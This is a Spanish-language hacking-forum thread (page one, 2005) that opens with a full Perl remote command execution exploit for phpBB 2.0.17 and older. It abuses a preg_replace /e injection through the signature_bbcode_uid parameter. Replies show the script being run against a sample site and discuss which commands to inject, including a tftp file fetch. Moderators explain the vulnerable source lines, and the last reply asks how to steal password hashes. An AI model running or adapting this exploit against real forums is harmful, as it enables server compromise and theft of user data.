elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 20:29  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  [OB] phpBB <= 2.0.17 RCE Exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [OB] phpBB <= 2.0.17 RCE Exploit  (Leído 6,559 veces)
sikik


Desconectado Desconectado

Mensajes: 664


Jo sóc jo i la meva circumstància.


Ver Perfil
[OB] phpBB <= 2.0.17 RCE Exploit
« en: 25 Diciembre 2005, 13:01 »

Código:
#!/usr/bin/perl

# phpBB <= 2.0.17 remote command execution exploit
# need for work:
# 1. PHP 5 < 5.0.5
# 2. register_globals=On
# 3. magic_quotes off
# ------------------------------------------------
# (c)oded by 1dt.w0lf
# RST/GHC
# http://rst.void.ru
# http://ghc.ru
# 03.11.05

use LWP::UserAgent;
use HTTP::Cookies;

if(@ARGV < 2) { usage(); }

head();

$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();

for($i=0;$i<5;$i++)
 {
  $rand .= int(rand(9)); 
 }

$name     = 'r57phpBB2017xpl'.$rand;
$password = 'r57phpBB2017xpl'.$rand;
$path = $ARGV[0];
$cmd  = $ARGV[1];
$xpl->cookie_jar( $cookie_jar );

$res = $xpl->post(
  $path.'profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00',

  Content  => [ 
              'username' => $name,
              'email' => $rand.'_bill_gates@microsoft.com',
              'new_password' => $password,
              'password_confirm' => $password,
              'signature' => 'r57:`'.$cmd.'`',
              'viewemail' => '0',
              'hideonline' => '1',
              'notifyreply' => '0',
              'notifypm' => '0',
              'popup_pm' => '0',
              'attachsig' => '0',
              'allowbbcode' => '1',
              'allowhtml' => '1',
              'allowsmilies' => '0',
              'mode' => 'register',
              'agreed' => 'true',
              'coppa' => '0',
              'submit' => 'Submit',
              ],
  );

if($res->content =~ /form action=\"profile.php/) { print "Failed to register user $name\r\n"; exit(); }
else { print "Done. User $name successfully registered!\r\n"; }

$res = $xpl->post(
  $path.'login.php',
  Content  => [
              'username' => $name,
              'password' => $password,
              'redirect' => '',
              'login'    => 'Log in',
              ],Referer => $path.'login.php');

$res = $xpl->get($path.'profile.php?mode=editprofile');
@content = split("\n",$res->content);
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
for(@content)
 {
 if(/<\/textarea>/) { $p = 0; }
 print $_."\r\n" if $p;
 if(/<textarea name="signature"/){ $p = 1; }
 }
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

sub head()
 {
 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
 print " PhpBB <= 2.0.17, PHP 5 < 5.0.5 remote command execution exploit by RST/GHC\r\n";   
 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
 }
 
sub usage()
 {
 head();
 print " Usage: r57phpBB2017.pl <path> <cmd>\r\n";
 print " <path> - Path to forum e.g. http://phpbb.com/forum/\r\n";
 print " <cmd>  - Command for execute\r\n";
 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
 print "(c)oded by 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru\r\n";
 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
 exit();
 }

# milw0rm.com [2005-12-24]
http://milw0rm.org/id.php?id=1388
http://www.areaunix.com/modules.php?name=Forums&file=viewtopic&t=2366
http://forum.zone-h.org/viewtopic.php?t=4690
« Última modificación: 31 Diciembre 2005, 05:13 por Sirdarckcat » En línea

"Social Engineer -> Because there is no patch for human stupidity".
"Però qui s'ha inclinat sobre l'abisme, qui ha vist, patirà per sempre la temptació de tornar un altre cop a aquest punt negre en el qual les tenebres il·luminen(...)"
Warning: shell_exec() has been disabled for security reasons at line 274.
alb3rt0

Desconectado Desconectado

Mensajes: 217


Ver Perfil
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #1 en: 25 Diciembre 2005, 19:07 »

al usarlo me dice esto:

sh-2.05b$ perl phpbb.pl http://www.web.com/foro/ id
perl phpbb.pl http://www.web.com/foro/ id
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 PhpBB <= 2.0.17, PHP 5 < 5.0.5 remote command execution exploit by RST/GHC
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Done. User r57phpBB2017xpl10775 successfully registered!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

y se crea un usuario r57phpBB2017xpl10775 , pero no entiendo que utilidad tiene esto, no ejecuta ningun comando :S
En línea
ZyrroX

Desconectado Desconectado

Mensajes: 38


Ver Perfil
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #2 en: 25 Diciembre 2005, 22:17 »

Si no se que comandos se pueden usar....alguien puede decir algi mas acerca de este exploit.
Gracias de antemano
En línea
Ture

Desconectado Desconectado

Mensajes: 16



Ver Perfil
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #3 en: 26 Diciembre 2005, 11:55 »

lo mismo digo, crea el usuario pero no se si el comando puede ser con parámetros tipo tftp -i ip get nas.txt o si son comandos atómicos npi

eso si chavales no espereis ver un output pork el exploit no tiene esa funcionalidad hombre si va el tftp algo se podría modificar ese perl :) yo me encargaría pero q comandos son? comandos sql? alguien que nos ilumine
En línea
Conemrad

Desconectado Desconectado

Mensajes: 74


Ver Perfil
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #4 en: 26 Diciembre 2005, 16:17 »

yo lo he probado, me ha creado un suario "x" he accedido al foro como tal usuario pero nada mas. eres un usuario simple con ningun tipo de permisos extraordinarios.
En línea
Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #5 en: 26 Diciembre 2005, 16:34 »

Parece increible que ni os dignais a leer el exploit.

Por la misma regla de tres, si os doy un código malicioso, lo ejecutareis a ciegas? Sin saber nada? Sin preocuparos de que hace?

 :-\

Haber... para empezar leed un poco... Donde esta el comando? En la variable $cmd... sin saber de perl, solo hace falta buscar... donde vuelve a aparecer?

Código:
'signature' => 'r57:`'.$cmd.'`',

Ahora investigad, sino funciona modificad, id probando o buscando otro exploit.

En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
© Shadoweps ツ
Wiki

Desconectado Desconectado

Mensajes: 813


Daría todo lo que sé por la mitad de lo que ignoro


Ver Perfil WWW
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #6 en: 26 Diciembre 2005, 17:55 »

Hola, eh visto algunos Xploits como este pero la verdad no tengo ni las mas minima idea de que se hace, alguien me puede explicar (si quiere ya que solo quiero saber por curiosidad) se baja el xploit y luego para sacarle jugo que se hace? :s

Gracias

Salu2
En línea

Todos Se Rien De Mi Por Que Soy Diferente Yo Me Rio De Ustedes Por que Son Todos Iguales -



alb3rt0

Desconectado Desconectado

Mensajes: 217


Ver Perfil
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #7 en: 26 Diciembre 2005, 19:50 »

Al registrar el usuario ejecuta el comando.... (pero no devuelve respuesta) pero parece que no funciona... o eso creo yo.
En línea
ZyrroX

Desconectado Desconectado

Mensajes: 38


Ver Perfil
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #8 en: 26 Diciembre 2005, 22:05 »

Aver Ertai.. yo lei el exploit aun sin saber nada de perl y lo probe sobre un foro phpbb 2.0.17 y hasta estuve viendo la base de datos que hacia con los users que creaba y justo... parece que le añade la signature (firma) 'r57:`'.$cmd.'  donde pone cmd parece que va el comando...pero la pregunta era que tipo de coamando, un coamndo de unix,de php,de mysql, de que?

Y como dice Conemrad: "yo lo he probado, me ha creado un suario "x" he accedido al foro como tal usuario pero nada mas. eres un usuario simple con ningun tipo de permisos extraordinarios."

Eso es cierto, el usuario que crea no tiene ningun tipo de privilegio...
En línea
mousehack


Desconectado Desconectado

Mensajes: 1.142

Ex-Colaborador....!!!!!!XD


Ver Perfil
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #9 en: 26 Diciembre 2005, 23:45 »

leyendo el advisore del bug, el error se encontraria en el script "usercp_register.php" que no valida correctamente la variable "signature_bbcode_uid", por lo que se podria realizar un SQL injection (si "magic_quotes_gpc" esta OFF) o injectar comandos PHP atraves del modificador ¨e¨ en la declaracion "preg_replace()", tal como se ve en el exploit:

Código:
$path.'profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00'

espero que les sirva...

Salu2 Boys!
En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
jeancarl00

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #10 en: 27 Diciembre 2005, 19:33 »

 User r57phpBB2017xpl68446 successfully registered!
como a la mayoria no ?
tampoco se perl ( gran problema)
solo se q ese xpl registra usuarios  r57phpBB2017xpl68446 yese valor es el q cambia aleatoreamente 
-- nada nuevo no ?
probando y probando comandos no encontre 1 y registre muchos usuarios :P
Código:
$res = $xpl->post(
  $path.'login.php',
  Content  => [
              'username' => $name,
              'password' => $password,
              'redirect' => '',
              'login'    => 'Log in',
              ],Referer => $path.'login.php');

$res = $xpl->get($path.'profile.php?mode=editprofile');
@content = split("\n",$res->content);

creo q necesitamos un empujon mas para comprender el xpl
 thx d antemano
En línea
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #11 en: 27 Diciembre 2005, 21:08 »

Esto ; para lo que podria servir,a si no mas a  ojo cerrado, es hacerle un blucle de 1-100000 y le puedas hacer un DDos , para nada mas
En línea
ZyrroX

Desconectado Desconectado

Mensajes: 38


Ver Perfil
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #12 en: 27 Diciembre 2005, 22:32 »

Pues menos mal que era un "remote command execution exploit"  jejejeje... weno habra que conformarse con lo que hay...... pero eso de los comandos me mosquea un poco... quizas si se pueda usar un comando o algo pero weno....
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #13 en: 28 Diciembre 2005, 23:50 »

El error esta en: includes/usercp_register.php linea 772
Código:
$signature = ($signature_bbcode_uid != '') ? preg_replace("/:(([a-z0-9]+:)?)$signature_bbcode_uid(=|\])/si", '\\3', $userdata['user_sig']) : $userdata['user_sig'];

y despues en la linea 519
Código:
$sql = "UPDATE " . USERS_TABLE . "
SET " . $username_sql . $passwd_sql . "user_email = '" . str_replace("\'", "''", $email) ."', user_icq = '" . str_replace("\'", "''", $icq) . "', user_website = '" . str_replace("\'", "''", $website) . "', user_occ = '" . str_replace("\'", "''", $occupation) . "', user_from = '" . str_replace("\'", "''", $location) . "', user_interests = '" . str_replace("\'", "''", $interests) . "', user_sig = '" . str_replace("\'", "''", $signature) . "', user_sig_bbcode_uid = '$signature_bbcode_uid', user_viewemail = $viewemail, user_aim = '" . str_replace("\'", "''", str_replace(' ', '+', $aim)) . "', user_yim = '" . str_replace("\'", "''", $yim) . "', user_msnm = '" . str_replace("\'", "''", $msn) . "', user_attachsig = $attachsig, user_allowsmile = $allowsmilies, user_allowhtml = $allowhtml, user_allowbbcode = $allowbbcode, user_allow_viewonline = $allowviewonline, user_notify = $notifyreply, user_notify_pm = $notifypm, user_popup_pm = $popup_pm, user_timezone = $user_timezone, user_dateformat = '" . str_replace("\'", "''", $user_dateformat) . "', user_lang = '" . str_replace("\'", "''", $user_lang) . "', user_style = $user_style, user_active = $user_active, user_actkey = '" . str_replace("\'", "''", $user_actkey) . "'" . $avatar_sql . "
WHERE user_id = $user_id";
mas especificamente aqui:
Código:
user_sig_bbcode_uid = '$signature_bbcode_uid'
donde no se limpia la variable que es introducida con el GLOBALS[], dado que se introduce un:
(.%2B)/e%00' con exito, y sin las MQ.. podrias introducir comandos despues de la '.. pero el codigo va mas alla.. miren.
el la linea 333 usercp_avatar:
Código:
$params = array('coppa', 'user_id', 'username', 'email', 'current_email', 'cur_password', 'new_password', 'password_confirm', 'icq', 'aim', 'msn', 'yim', 'website', 'location', 'occupation', 'interests', 'signature', 'viewemail', 'notifypm', 'popup_pm', 'notifyreply', 'attachsig', 'allowhtml', 'allowbbcode', 'allowsmilies', 'hideonline', 'style', 'language', 'timezone', 'dateformat');

y despues en la 337
Código:
for($i = 0; $i < count($params); $i++)
{
$s_hidden_vars .= '<input type="hidden" name="' . $params[$i] . '" value="' . str_replace('"', '&quot;', $$params[$i]) . '" />';
}

sin ninguna limpieza se introducen comandos, con un <??> puedes meter comandos de PHP.. si es REMOTE CODE EXECUTION

saludos!!
En línea

ZyrroX

Desconectado Desconectado

Mensajes: 38


Ver Perfil
Re: phpBB <= 2.0.17 remote command execution exploit
« Respuesta #14 en: 29 Diciembre 2005, 01:04 »

Bien, por fin alguien q aclara un poko el tema aunq no se q comandos PHP poner...mm... como tampoko se PHP jejeje... estuve echando un ojo a la pagina http://geneura.ugr.es/~maribel/php/ pero ni idea de que puedo poner como comando... en todos los lados explican codigos... pero no se....mmm... se podria por ejemplo conectar a la base de datos mysql del foro en cuestion y robar un hash de un user o algo...o otra manera... ideas??
En línea
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines